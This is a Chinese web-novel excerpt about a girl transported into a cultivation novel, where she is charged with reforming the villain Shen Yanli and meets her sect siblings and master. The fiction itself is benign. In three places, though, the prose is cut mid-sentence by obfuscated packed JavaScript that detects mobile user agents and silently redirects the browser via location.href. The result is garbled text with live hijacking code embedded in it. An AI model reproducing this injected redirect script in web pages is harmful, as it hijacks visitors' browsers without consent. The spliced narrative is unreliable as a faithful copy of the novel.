《小师妹靠作死驯化反派》 1. 白骨密林 “叮铃铃——” 一阵清脆的铃铛声响彻雪地。 枝头碎雪应了响动滑落些许,又被一身白衣的少女踩到脚下。 那少女给寒风吹得面若粉桃,水眸四处张望,口中念念有词:“大魔头……大魔头……” 正值寒冬腊月,静山遍野雪白,放眼不见活物,侧耳不闻声响。 南音音身着虚渡宗单薄的云纹弟子袍,体内仅能感知到聊胜于无的灵力流窜。 再找不到大魔头沈宴离,她就要出师未捷,先冻死在这本破书里了。 哦,对了。 这本破书叫《天地合》,音音不是读者,她爸才是。 四十岁出头中年男□□看的修仙男频文,胜在不典型反套路。 主角不是伟光正的名门弟子,而是心狠手辣、毁天灭地、冷血无情的大魔头,俗称反派。 彼时她们全家在去度假的飞机上,音音跟她爸一起看了几章,感到极度不满。 现代人压力不轻,精神状态不良,这种坏事做尽的大魔头也能当主角? 哪知她爸语重心长,像维护亲儿子一样说:“反派身世可惨了,心理扭曲很正常,要是有个人来好好爱他引导他……” 音音及时打住,不听不听。 再扯下去,就该是修仙界版的原生家庭和东亚小孩了。 但现在,她真想回到几分钟前,揪住耳朵让自己打起精神好好听。 毕竟谁也不知道,飞机不过被气流颠了一下,就时空线错乱,把整个世界都癫成了想象不到的样子。 她!居!然!穿!书!了! 【祝您在原书世界顺利完成使命。】 伴随字幕消失,乱七八糟的信息涌入脑海。 音音没来得及消化完,就被赶鸭子上架。 不仅冒名顶替了虚渡宗的废柴小师妹南椿,还承受了这个年纪不该有的使命——让原书世界和平。 音音接受无能。 她拯救原书世界,谁来救救她呢。 * “叮铃铃——” 又闻铃铛作响,锒铛不停。 一双黑眸倏然睁开,盛满零星杀意。 静坐于池畔之间的少年容貌清绝出尘,神情却冷戾无比,左眼尾那滴秾艳如血的红色泪痣迅速褪淡消失。 整个人好比一朵让人望而却步的鸩莲。 少年抬手抚了抚胸口位置,感到有股不知名的纯净灵力流经四肢百骸,令他躁动多日的心绪得到片刻安宁。 怪事。 虚渡宗新招的一批弟子不知天高地厚,常有人宁愿违背门规,不惧经脉破损也要突破静山结界来会一会他。 眼下,怕是又有个不要命的闯进来了。 可这回是个蠢笨的,连气息也不会掩藏。 水波轻荡,少年掀起眼帘,隔着缈缈水雾,向铃铛声来源望去。 “啊——” 并不悦耳的一声怪叫响起。 寒潭岸边立了位少女,看似捂住脸,一双乌黑明亮的眼睛却透过手指缝隙直直望过来,从他的身体光明正大向上游移,手指缝隙跟着越张越大。 音音装不了一点矜持。 因为这张脸实在太惊艳了。 如果她能听见对方心声,就知道少年虽面无表情,但心里已在思考要怎么剜下她那双没教养的眼睛,才不至于溅血脏手。 “沈、沈、沈宴离,是你吗?” 音音有点紧张,还有点不确定。 少年语调轻慢:“嗯?” 单单一字,尾音扬起,意味并不明朗。 音音摸到腰间的渡音铃,据说是件能净化魔性的法器,究竟效果如何还有待考证。 而眼前这位究竟是不是大魔头也有待考证。 按书中描述,从六岁到十六岁,沈宴离在静山被当怪物关了整整十年,脚踝由一条冷冰冰的缚魔链锁着,催动不了魔力,便与废人无异。于是各路炮灰轮番到他面前蹦跶,最后个个死的很惨,成为反派修炼路上的工具人。 音音思考完,防备却又讨好地扬起一个笑脸。 须臾,少年已披上外袍,踏开水波飞至岸边,动作快得看不清。 音音感到有股比雪更加凛冽的寒意扑面而来,旋即脖子一凉。 少年发尾犹淌着水珠,眉眼间毫无情绪波动,冷不防地伸手掐住了她。 说好的伸手不打笑脸人呢? 漂亮的果然都有毒! 音音笑不出来了,没一会儿她就满脸涨红,嗯嗯啊啊说不上话。 少年丝毫没有心软,他五指逐渐施力收紧,音音挣扎不及,连咳带喘,还带出一连串凌乱的铃铛声。 要命了要命了! “吵。” 忽地,少年眉心一皱,停在音音脆弱颈侧间的手指竟松开来。 那道凉薄声线蕴着被打扰的不愉,此情此景下,宛若来自地狱的催命符。 逃过一劫的音音只敢在心里顶嘴:草! 少年目光微敛,发现什么有趣似的,自顾自勾起唇角。 很快他再度伸手,停在了音音腰侧缓慢摸索。 渡音铃是玄圣法器,一旦认主结契,只有主人方可催动解下。若契期未满,宁可沉寂失灵,也不会重认新主,在别人手上无异于发挥不了作用的一件废物。 少年试了几次,发现都无法取下渡音铃,眉宇不免笼上一层不耐,手却不停。 音音怕痒,且非常敏感。在和疯子一样大笑之前,她果断选择蹲下身缩成一团,躲开少年乱摸的手。 少年五指悬在半空,根根细长,骨节分明,顶着积雪反光,皎白似玉。 可就是这双手,刚才还毫不留情地想取人性命。 音音视线望见少年洁白的衣摆,想到什么,飞快拽住一角撩了起来,看清后当即便愣在原地。 靠!!认错人了? 大魔头左脚踝上系着的缚魔链呢? 音音仍不死心,还想靠触摸来确认一下时,被少年猛地扯身站起来。 少年眸中戾气翻涌,唇线平直,左眼尾不知何时多出一颗淡红色泪痣,衬得他模样更是锋利漂亮。 音音怕再被掐脖子,赶紧声明:“师兄,我不是坏人。” 既然不是大魔头,那想必是奉命看守静山的虚渡宗弟子了,恪守“擅闯者杀无赦”的师命,所以一见面才二话不说就想杀了她。 况且少年穿的也是云纹弟子袍,除了有点破旧不合身之外,一切都很合理。 音音眨巴双眼,问:“师兄,你知道沈宴离在哪儿吗?我奉师命前来——” “来看看他死了没么。”少年冷笑一声,将她话给打断。 音音坦诚地摇摇头。 大魔头死了,故事线得崩坏,原书世界直接毁灭。 不仅完成不了使命,她小命也交代在这了。 但音音还是摆出恶狠狠的语气,以及极度的厌恶,故意说:“我来给他点教训,好让他知道我们虚渡宗可不是好惹的!” 少年听完,没做出任何反应,大抵听了不少如此言论。 “师兄,你背上那些伤是修炼时不小心留下的吗?还是……因为那个大魔头留下的?” 音音方才撞见少年沐浴,上身片缕未遮,那片白皙脊背布满新旧不一的伤痕,青紫斑驳,瞧着可怖。 少年不答反问:“是又如何?” “师兄放心,大魔头这般狠毒,我定不会让他有好果子吃!” 牛是这么吹的,但音音心里愁啊。 关押在静山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745254|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自生自灭的这段剧情已经是反派最弱鸡时期,要是下手还这么狠,她怎么完得成使命。 少年深深看她一眼,像能把她看透:“你很强?” 音音大笑两声:“哈哈。” 强个屁,原主身体孱弱的废柴一个。 “所以,你带我去找沈宴离,我帮你报仇呀?” 少年似乎被说动,终于抬脚,一语不发朝某个方向走去。 音音心中一喜,大步跟上。 静山形貌被白雪覆盖,留下深一脚浅一脚的两串脚印。 不多时,眼前出现一片遮天蔽日的密林,古木枝叶繁茂,入口极狭,周遭长着许多奇形怪状的花草,颜色鲜艳夺目。 密林没有被雪覆盖,像独立于静山之外。 少年停住,冲其扬了扬下巴。 音音深吸一口气,临阵反而退缩起来:“师兄,沈宴离就在里面吗?怎么感觉怪怪的。” 说完,她刚要转头确认,一道凌厉的掌风自背后破空袭来。 音音从背后被推了一把。 视线恍惚中,她看见远处少年眸光落在自己双手上,唇畔挂起浅淡弧度,竟意味不明地笑了。 一阵天旋地转。 密林如吞噬到猎物的血盆大口,上百根深绿色藤蔓一齐疯长,牢牢堵住入口,形成一个密不透光的牢笼。 音音摔得眼冒金星。 在伸手不见五指的黑暗中,渡音铃发出一圈极淡的荧光,然后剧烈响动起来。渡音铃能净化魔性,这会儿异常地响个不停,代表一种可能—— 密林之中,魔气肆虐。 * 在《天地合》这本书的设定中,四极八洲,仙魔人妖。 四大仙门分别镇守四极之门,东极清音阁,南极苍梧派,西极玄天域,北极虚渡宗,相传四极之门若开,便会引来天地寂灭的祸患。 可最终四极之门没开成,天地照样寂灭。 四大仙门完全守错了对象,要是音音来,她会死死守着沈宴离一人。 一直盯着他,直到永远。 密林入口已经闭合,音音缓了缓神,只好硬着头皮朝前去。 她心脏怦怦狂跳,没走两步,便觉脚底踩到一个硬邦邦的东西,借渡音铃光源看去,瞬间头皮发麻。 那玩意儿是人骨啊! 阴森森白惨惨,许多虫子还在上面爬来爬去。虫子的行动轨迹蜿蜒,分成十几路朝四周辐散开,不知疲惫地爬向一具又一具白骨,密密麻麻。 白骨上挂几缕破布条,依稀可辨是虚渡宗的云纹弟子袍。 打个不恰当的比喻,这跟天天一起上学的同学死在面前没什么区别。 音音欲哭无泪,也没说大魔头会吃人啊。 早知道回去修炼一段时间再来了,现在她都运不起灵力,完全是来加餐的。 这时,一只不知从哪儿飞来的蝴蝶停到音音肩上。 蝴蝶是紫色的,手掌大小,翅膀上有一圈圈怪异纹路,其间沾染的磷粉也在熠熠发光,有种跟这片密林格格不入的圣洁气息。 音音无计可施地问:“小蝴蝶,你知道怎么出去吗?” 蝴蝶扇了两下翅膀,低低飞起,始终在一步之外,似乎等着音音跟上。 音音实在没招了,不得不把小命赌给这只蝴蝶。 跟着蝴蝶走了片刻,渡音铃却响得愈发厉害,显然前往的是个错误方向。 音音有点踌躇不前时,一道清朗的声音传入识海:【小师妹,师尊召我们于万籁峰商议要事,你现在何处?】 这是…… 方涧洄?! 他是原主南椿爱而不得的白月光大师兄。 也是跟音音同一阵营,以灭魔头救苍生为己任的,她正到发邪的队友啊! 2. 师门会晤 说起方涧洄,简直是按沈宴离对照组设计出来的人物。 其人温润如玉、翩翩君子,簪缨望族之后,不仅有难能可贵的纯良之心,灵根和天赋还都是绝佳,一柄洄光剑使得出神入化,激浊扬清。 正直、勇敢、长得好看。 这才是音音心中主角的完美人选! 音音屏息静心,凭感觉掐起一诀,试着在识海中与方涧洄对话。 经脉突然一阵发麻。 有疑问亟待解决,音音忽略这点不适,直接地问:【大师兄,我随便逛逛,看见静山有感而发。咱们不如聊个五灵石的天,就聊沈宴离怎么样?】 ……就很硬。 方涧洄默了片刻,这对话没头没尾。 但在他印象中,小师妹很少出门,且对什么事兴趣都淡淡的,难得如此好奇与开朗,便如教导般作了详尽回答。 【沈宴离被关押在静山,宗门弟子不得入内,他脚上锁着缚魔链,平日里不可见,魔气溢动时才会显现。】 通了通了,一切都通了。 音音激动地原地转了个圈。 长这么一张脸,怎么瞧都不该是NPC。 她就是被美貌冲昏了脑袋,才不计对方想掐死她的前嫌,给了他第二次杀她的机会,作孽啊。 方涧洄的声音还在继续:【我也只在他六岁那年见过一回,那时他浑身是血,茫然狼狈,十年过去,不知现在如何了。】 现在?呵呵。 成了一个会骗人的坏种。 白瞎了她叫这么多声“师兄”,呸! 【不过小师妹,师尊当年顾念他年纪尚小,特意抹去名姓,因而宗门内少有人知他叫什么,日后切记谨言慎行。】 当年……六岁…… 音音冒出一个很坏很坏的想法:【为什么当年不直接杀了他?】 问完这句,她自己都吓了一跳。 方涧洄立刻严肃纠正:【当年之事,他也只是个孩童而已,怎能由他承受一切?何况四大仙门长老们都同意这么安排,肯定是有缘由的,他不一定会像他父亲那样重蹈覆辙。】 两次差点被害死的音音无语凝噎。 等他把你们豆沙了,看你还能不能说这种话! 【好了,此事不必多问,小师妹可是在静山附近?此地危险,你不要乱走,等我来寻你。】 音音记起那堆白骨,发自内心道:【大师兄!想见你想见你想见你!】 呜呜,刚穿书就正面遇上大魔头,还被骗到了这种鬼地方,她现在可太需要见见活人感足一点的正派角色了。 面若冠玉的方涧洄在那边耳根微红,被她言语唐突到:【我会尽快赶来。】 识海传音掉了线,音音回神,没在身侧见到那只紫色蝴蝶徘徊,也不知此物是正是邪。 但多亏那只蝴蝶,她想到一个或许能出去的办法。 ——以渡音铃的声响来辨魔气,寻找安全区和突破口。 走在密林中,像在巨兽阴湿黏腻的腹中探索。 渡音铃声响最微弱处,音音停下,终于看见有朦胧光源透进。 枯枝掩映着一个只到膝盖处的小洞口,通往密林之外,十分隐蔽。 若要进出,恐怕得采取原始办法,四肢并用。 小命都没了,还要什么尊严。 音音屈辱地撩起衣袖,不满嘀咕:“沈宴离,你给我等着。” 区区狗洞,为了活命,爬! * 紫色蝴蝶兜兜转转,毫无阻碍地飞出密林。 堵住入口的藤蔓在碰到它那一刻,开始迅速枯萎腐化,仿佛沾染到更加阴毒之物,无法与之匹敌。 蝴蝶径直飞入静山一舍破旧的茅草屋中。 草屋只有简单的一张床和一副桌椅,外头大雪绵绵,床上连条过冬的被褥也没有,与睡在荒天野地之中无异。 屋中,白衣少年撑着下巴坐定,轻抬起细长指尖。 蝴蝶便悠悠停落上去,如寻得归宿,翅膀不紧不慢开合着。 片刻后,少年低唔一声,狭长的眼尾抬起,笑得漂亮至极:“当年为何不直接杀了我?真是个好问题。” 他身侧再无旁人,只闻屋外风雪声簌簌作响。 少年手腕翻转,合拢掌心,颀长的五指将蝴蝶围困住。没一会儿,蝴蝶翅膀便停止翕动,像两片枯叶似的,安安静静飘落到地上。 夜色将近,雪大了起来,草屋四面透风。 有风,有雪,却无一夜归人。 少年独自坐了很久,没有起身燃灯。 他面容被月光所笼罩,是笑着的,语气也温柔的好似在讲情话,自言自语低喃道:“那我便等着你,小、师、妹。” * 琼楼玉宇建于重山之上,飞檐翘角,灯海连接,犹如天上宫阙。身着云纹白袍的弟子穿行其间,行云流水一般。 这是音音爬出狗洞后看到的第一眼。 虚渡宗不愧是四大仙门之一,太太太气派了! 密林构造古怪,没想到那个隐蔽出口居然直通弟子舍,弟子们三两结伴,或腰间配剑,或手中持卷,正要赶赴晚修。 音音混迹其中,无人在意。 她想起方涧洄应该还在静山附近,忙传音于他。 虚渡宗弟子之间有同心应,要想找到对方很是容易。就好比实时的位置共享,只要双方同时施诀,便能精确定位。 这些都是基础法术,音音勉强还会。 她跟方涧洄共享完新位置,安心等他过来,然后就被一道粗着嗓子公鸭般的男声吸引了注意力。 “废物!门派中养条狗都比你有用多了。” 一句话里有两个词让音音差点误以为被骂的是自己。 她既是废物,又正好爬过狗洞。 不远处,三名佩剑的高大弟子将一人围在中间。 那人低着头,乌黑长发挡住眼睛,看不清表情,但举止唯唯诺诺,顺从地承受着辱骂。 这种顺从是助纣为虐,辱骂不够,三名弟子又上前扯散那人手中抱着的书卷,用力踩到脚下碾了碾,将纸页碾的肮脏稀碎。 “整天就知道抱着破书,连御剑飞行都学不会,真不知道当初你是怎么被选进来的。识相点就赶紧滚,别丢了虚渡宗的脸!” 来往弟子很自然地避开了这些人,没有要出手相助的意思。 音音有点看不下去了。 个个都修的无情道吗?这么冷漠! “喂!丢脸的到底是谁啊?”她这豁出去的一嚷,声音不低。 横生枝节,来往弟子终于停下脚步,似要看戏。 连那人也肯抬起头来,苍白的一张脸,模样清秀无辜。 音音走过去,仰头看着这些高出她许多的弟子,气势上不能输:“欺负同门触犯了门规,我看想滚出虚渡宗的另有其人吧?” 为首弟子腰间佩一柄玄铁黑剑,斜来一眼:“口气倒是不小,怎么之前没见过你,哪一堂的?” “……”音音被问住了。 虚渡宗的组织构架分为一掌门、四长老和十二堂主。 除了掌门和长老所收的弟子为内门弟子,其余皆属外门弟子,又按资质高低和所修之道分入各堂。 三年一度的同光会就是外门弟子跨入内门的晋升考核,当然也有破例。 原主南椿就是众人睁一只眼闭一只眼的最大破例,因为她亲爹南青风既是有正道之光美誉的南门剑主,又是虚渡宗掌门。 十岁开悟以后,南椿自然拜入南青风门下,不必通过考核就成了人人艳羡的万籁峰小师妹,堪称虚渡宗最强关系户。 所幸原主为人低调,常年闭门不出,拉的仇恨还不多。 “连配剑都没有,看来也是个废物。” 音音拳头硬了。 这些人真是缺乏素质教育。 “劝你少管闲事,我们不欺负小姑娘。” 音音心一松,立刻蛮横道:“那正好,这事我管定了!” 磬钟长敲三下,余音浩荡,预示着晚修即将开始。 诸位看戏的弟子记起正事,脸色一变,正要四散开去,忽有道强劲剑意自上方拂过,浩浩汤汤。 皓月当空,来者清隽雅贵,白衣翩跹。 脚下踏着那柄让人见之难忘的洄光剑,气质比月光还要明朗几分。 此剑一出,如溯洄光。 弟子们认出是谁,纷纷拱手作揖,齐声道:“方师兄。” 音音眨巴两下眼睛,好奇地看去。 方涧洄面色沉静,从洄光剑跃下,和音音交换了个眼神,随即挡在她面前,厉声发问:“谁欺负了我的小师妹?” 啧,这气质,这出场,这护短的举动。 怪不得能成为原主心心念念的白月光呢。 一下子四周的目光都集中到音音身上,她是何身份已昭然若揭。 音音不太适应,扯扯方涧洄衣袖,悄声喊:“大师兄。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745255|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ——装也装了,咱们差不多得了。 方涧洄没领悟到这层意思,安抚地拍了拍音音手背:“小师妹你直说,今日有师兄为你做主。” 刚还非常嚣张的三位弟子瞬间紧张起来。 配着玄铁黑剑的那位上前道:“方师兄,我们闹着玩呢。” 音音立刻反驳:“谁跟你们闹着玩了?你们欺负了其他同门是事实,别一句‘闹着玩’就想躲罚。” “欺辱同门者,轻则抄写门规,重则逐出宗门。”方涧洄视线扫过在场众人,淡声下了判定,“至于不轻不重者,依我看不如就去把五峰十二堂清扫完毕,你们可有异议?” 五峰十二堂,几乎囊括了虚渡宗弟子所有的活动范围。不动用法术的情况下,没有三个月扫不完,而且众弟子来来往往,是个十分丢人的活。 三位弟子诺诺应下:“不敢有异议。” 处理完此事,两人没有多耽搁,方涧洄御剑带着音音去了万籁峰。 万籁峰是虚渡宗最高一峰,岿然擎霄,横绝日月。 他们两人到时,主殿中已有其他同门弟子在等候。 音音这才见到了传闻中两位气质截然不同的师姐。 二师姐宁筝,娃娃脸圆眼睛,身材娇小,见谁都一副笑眯眯的样子。 四师姐言为心则是冰山美人,浑身有种拒人于千里之外的疏离感。 按照辈分还应有一位叫做裴游的三师兄,不过书中对此人的描述几笔带过,音音只知道他常年在外云游,归期不定。 音音客套地跟她们装熟:“二师姐、四师姐。” 宁筝笑盈盈的,随口调侃道:“小师妹近来气色不错,也活泼许多,见到师姐们都会主动打招呼了。” 言为心没说话,只是扫来一眼。 音音不安地收敛起笑脸。 大意了,她不知原主是何性格,言行举止完全随心所欲。 好在方涧洄出面解围:“小师妹现在这样就很好。” 殿心高台,环以雕栏,谈话间,有一身影从屏风后缓步走出。 南青风身着玄色衣袍,眉宇舒朗,盈盛的灵气内敛至极。 其余三人一齐揖手行礼:“师尊。” 音音手忙脚乱,慢半拍地跟上。 南青风颔首,直入正题:“今日召你们前来,是因虚渡宗从上月开始,陆续消失踪了许多弟子,你们可曾发现宗门内有何异常?” 音音忽然想到了静山密林之中所见的十几具白骨,但没有冒然开口。 方涧洄答话:“那些弟子行迹至今尚未找到,但灵息结界不曾感应到他们离开过虚渡宗,定是还在宗门内某处,内门弟子们已经暗中在查了。” “嗯,此事会引起恐慌,未查明之前不可声张。” 音音心想,那些白骨出现在静山密林,她又被沈宴离亲手推进去过,此事该不会和他脱不了干系吧? “另外一事就是三月后的同光会,你们准备的如何了?” 方涧洄:“弟子会竭力拿下此次灵霄榜魁首。” 宁筝:“弟子日夜加紧修炼,不敢松懈。” 言为心:“弟子已突破冰心剑法第七层。” 三人禀报完,轮到音音。 她都不知道自己该修炼什么,憋红脸道:“我、我也一样。” 南青风听音音这么说,居然展颜笑出声来,父亲的慈爱完全压过师尊的威严:“阿椿,你肯好好吃药,爱惜身体,我就放心了。” 音音为难地跟着笑笑。 虚渡宗的内门弟子不与外门弟子同住弟子舍,而是直接住在五峰之上,平日御剑来往于学堂和剑场,威风凛凛。 原主住的地方叫玲珑苑,光从房间布置就能看出许多门道。 房间弥漫一股浅淡的草药香,案前堆满各类书卷,床上被褥叠放整齐,衣匣中多浅色素衣,镜奁前脂粉和钗饰品只零星几件。 看来南椿是个乖宝宝,和音音本人咋呼的性格截然相反。 奔波整天,音音累倒在床上,拉被子时手指碰到一物,是封信,以娟秀小字在外写着“爹爹亲启”。 这是南椿写给南青风的信。 音音犹豫一会儿,心底道歉,抬手拆了。 …… 一目十行读完,音音心凉了半截,手指跟帕金森似的抖个不停。 这这这是封遗书。 原主不单单身体差,她分明是个将死之人。 天要亡她! 3. 夜探静山 次日,音音是被敲门声给吵醒的。 门外站着二师姐宁筝,她面露惊讶:“小师妹,今日怎么睡得这样迟?该去学堂上课了,是身体不舒服吗?要不要我替你向临渊长老告假?” 音音呆呆地反应了一会儿。 上课?怎么修仙界也有早八? “上什么课?何时开始?” “今日讲的是玄圣法器通识,还有一刻钟开始,我御剑过去很快。” 想装病的音音一听,来劲了。 这课不能逃啊,她亟待解决的问题不就是不会用渡音铃吗? 宁筝想了想,大方地说:“不过小师妹你平时都是早起走下山的,今日肯定来不及了,用不用我带你去?” 走?下?山? 万籁峰这么高,原主真是个狠人。 音音忙点头:“谢谢二师姐。” 宁筝的剑叫无邪,是柄短剑,小巧精致,和她模样很是相配。 磬钟敲响之际,音音被她从剑上拽下来,两人以生死时速踩点跑进学堂。 五峰的内门弟子都在一块儿上课,总共也就四五十人。 一进门宁筝就松开了音音的手,在后排位置坐下,音音傻傻站到她旁边,没看见周围有空位置。 宁筝冲她挤眉弄眼:“你座位在大师兄旁边,跑我这儿来干嘛?” 音音抬头,在第一排看到了方涧洄。 离讲台这么近,妥妥的好学生专座,开个小差都危险。 音音不情不愿地走过去,迎面和一位刚踏进门的青年碰上,青年容貌清俊,眼角眉梢笑吟吟的,看着脾气很好。 他挑眉问:“迟到了?” 音音不认识这号人,没乱开口搭理他。 然后就眼睁睁看着青年走到讲台边落座,很有威仪说:“南椿,量你是初犯,就不罚了,坐吧。” 原来是临渊长老,音音心虚地依言坐下。 身侧的方涧洄朝她微微一笑。 “不过宁筝,你这个月迟到第三次了,拿上书去门外站着听。” 宁筝苦恼地“啊”了声。 音音心有愧疚,都是因为她洗漱换衣才耽误了宁筝,不然她时间掐这么准,也不至于会迟到。 瞥见桌面,音音突然站起身来,公平公正道:“临渊长老,该罚就罚,我也出去站着吧。”说完就头也不回地往门外走。 笑话!来这么急,她根本连书都没带! 光着桌板坐在第一排也太显眼了。 莫临渊心中有数,自顾自继续上课。 冬日暖阳渐渐升起,将五峰镀上一层金光,缥缈如仙境。 莫临渊的声音断断续续传出:“修仙界有四件玄圣法器,分别为缚魔链、君吾剑、灭魂阵和渡音铃。其中灭魂阵严格来说不算法器,但它需要极高天赋者参悟后才能布成——” 音音认真听着讲,宁筝插话进来。 “诶,小师妹,你还记得玄天域那小子吗?” 音音摇摇头,她现在能认清原书各位角色就不错了。 宁筝坏笑道:“就你那青梅竹马啊,来虚渡宗住过一阵,从前那小子不是哭哭啼啼说长大了要娶你吗。” 音音被呛到:“小时候说的话不作数。” 再说那是原主南椿的桃花债,跟她南音音有什么关系。 “现在修仙界可都传他是天纵奇才,灭魂阵就指望着他钻研出来呢。而且据说这小郎君模样能和大师兄媲美,一双桃花眼不知道迷了多少无知少女,只可惜心有所属咯。” 音音重点在前半句,嘀咕说:“那他压力得多大。” 原书世界和平的使命也都压在她身上,她很难不对这个未曾谋面的角色共情。 莫临渊已讲到另两件法器:“缚魔链如今物尽其用,锁住魔子催动力量。但君吾剑在那场仙魔大战之后就一直下落不明,四大仙门也一直都在寻找。” 音音正要划重点,没想到莫临渊只字没提渡音铃。 “玄圣法器是除魔关键,想要永生永世完全抹去魔的存在,四件法器缺一不可,且都需要强大灵力催动。所以啊,诸位都要为修仙界之崛起而修炼。” 怎么还上价值了,倒是讲讲渡音铃啊。 音音心里着急,从窗台探进半个身子,摆出举手动作打断:“临渊长老,我有问题!” 冬日暖阳落在音音头顶,她整个人毛茸茸的,像一只捣蛋的猫。 “渡音铃要怎么用?” 莫临渊处惊不变:“想发挥出法器功效,至少也得修炼至通灵境,若要源源不断的灵力供给,则还需更上层楼,修炼至领域境。” 通灵境,领域境,再来就是神启境。 那跟创世神也没区别了,大部分人修炼一辈子也才止步于通灵境而已。 音音最菜,她在初窥境。 可是连十二堂的外门弟子都修炼至凝源境了! 莫临渊:“不过渡音铃嘛,摇两下说不定也能有点作用。” 有几位内门弟子没忍住,低低笑出声来。 “……”音音愁眉苦脸,一点没被这玩笑鼓舞到。 君吾剑下落不明,灭魂阵未成,渡音铃认了她这个废柴为主。 修仙界,危。 趁莫临渊没注意,宁筝问:“小师妹,你好像对渡音铃很感兴趣?” 音音不解:“我不该感兴趣吗?” “渡音铃认主,虽说庄长老……但她和渡音铃的契期应该还未满吧,这和缚魔链可是我们虚渡宗两大镇宗之宝,被师尊藏得好好的,我都没见过。” 音音:“?” 要不要看看她腰上的铃铛再说话呢? 音音认真道:“二师姐,你看我腰上的铃铛,这就是渡音铃。” 宁筝指了指无邪,一本正经地胡说八道:“小师妹,你看我腰间的佩剑,这就是君吾剑。” 音音:“……” 跟这群人没什么好说的! * 四大仙门,虚渡宗以剑闻名。 弟子的修炼日常只有晨间是在学堂,其他时间都耗在剑场。 音音有掌门豁免,无需去剑场。但她不想爬回万籁峰,便跟宁筝约好,等她练完剑之后一块回去。 期间音音去了趟天机楼。 天机十重楼,浮世三千卷。除了第九重和第十重楼有禁制锁着以外,剩余八重楼的卷轴虚渡宗弟子都可随意观览。 音音找了几本书来看,没一会儿就困。 这时,余光瞥见道身影。 “四师姐,好巧,你也来看书吗?” 穿行于层层书架间的正是言为心。 她似有意外,保持高冷地点了点头。 音音跟宁筝已经算熟,但跟这位美人四师姐连话都没说过几句,这不符合她谁都能聊的社交原则,于是便开始没话找话。 “四师姐今日不练剑了吗?” “练完了。” “四师姐平日都喜欢看点什么书啊?” “剑法。” “好厉害!” “……” 言为心一言难尽的眼神落在了音音借来的书上,压在最底下的那本书封格外眼熟,她不久前也曾借阅过。 天机楼卷轴皆赋了法术,记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745256|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 录下每位阅览者。 那是一本有关魔族记事的书。 言为心问:“小师妹对魔族之事很感兴趣?” “四师姐对魔族之事也感兴趣吗?” 言为心脸色很微妙地变了一下:“我不关心。” 音音毫无察觉:“哦,我倒是很感兴趣呢。” 虽然接触还不多,但音音能看出来,言为心跟宁筝完全是两种类型。 从迟到一事就能看出宁筝是疏于修炼的咸鱼性格,很适合成为朋友,一块儿吃喝玩乐。而言为心就是那种一心沉迷剑道的学霸,为人处世淡漠,关键时刻却够强够靠谱。 好比此刻,言为心直白指出:“这几本修炼入门不适合小师妹看。” 音音给自己找借口:“怪不得还没入门我就想放弃了。” 言为心往书架深处走去,很快抱了一摞书出来,堆到音音面前。 “反正小师妹不用花时间练剑,这几本应该三天之内能看完吧,若有不懂之处,可来问我。” 音音看着那堆书,脑袋嗡嗡的。 说到底,修仙界的本质对她而言就六个字:要么卷,要么死。 卷又卷不动,死又不甘心死。 她必须再抢救一下,尽早完成使命回家。 * 夜半,月光如练。 音音睁着大眼睛毫无睡意。 也许是被今日见闻给打击到,让她觉得生前何必久睡,反正死后自会长眠,而人一旦睡不着就容易冲动行事。 音音从床上坐起,用微薄灵力试了一下今日从书中自学的瞬移术。 瞬移术施展成功有三个要诀。 一是心念够强,二是距离适中,三是避免干扰。 她也没想到自己第一回就能成功。 眼睛一闭一睁,面前出现一座破旧的茅草屋。很破,是诗里写的大风能卷走屋顶三重茅的破,破中带点儿诗意。 “阿嚏——” 音音刚到静山就打了个喷嚏。 以前她不明白为何这地方会那么冷,现在懂了。 是因为前途一片阴暗,凉快的要死了。 白天有暖阳,静山积雪微微融化。无人踏足,雪地在夜色下洁白依旧。 音音放轻脚步朝茅草屋走去。 刚施展瞬移术时,灵识就探到这么一座屋子,沈宴离肯定住在里面。 茅草屋连扇门都没有,似乎也不需要防备什么。 床上躺着一人,没有发出任何动静,应该是睡着了。 音音屏住呼吸走近,借月光看见少年浓密睫毛垂下,皮肤冷白,胸膛轻微起伏,睡得很安静,尽管既无枕头也无被褥。 皮囊这般好看,只可惜是个大魔头。 音音大晚上睡不着,所以冲动地来看看敌人睡了没。 看见对方睡得那么好,她有点气还有点没意思,打算趁没被发现前回去。 “身随意动,穹寰自转……” 口诀不曾念完,一股钻心的疼痛直袭经脉。 痛得音音捂住了胸口,冷汗直冒。 怎么回事? 明明在玲珑苑还好好的。 音音不死心,又试一遍:“身随意动……” 突然,一只冰凉的手将她给重重扯了过去。 经脉再次感受到的疼痛被中断,取而代之是手腕被攥紧的疼,挣脱不开。 音音惊慌抬眼,撞入一双深暗狭长的眸子。 少年正玩味挑唇,眸中无星点睡意,仿佛早已等候多时。凑近了,声音在她耳畔落下,如鬼魅般低语。 “你来了。” 4. 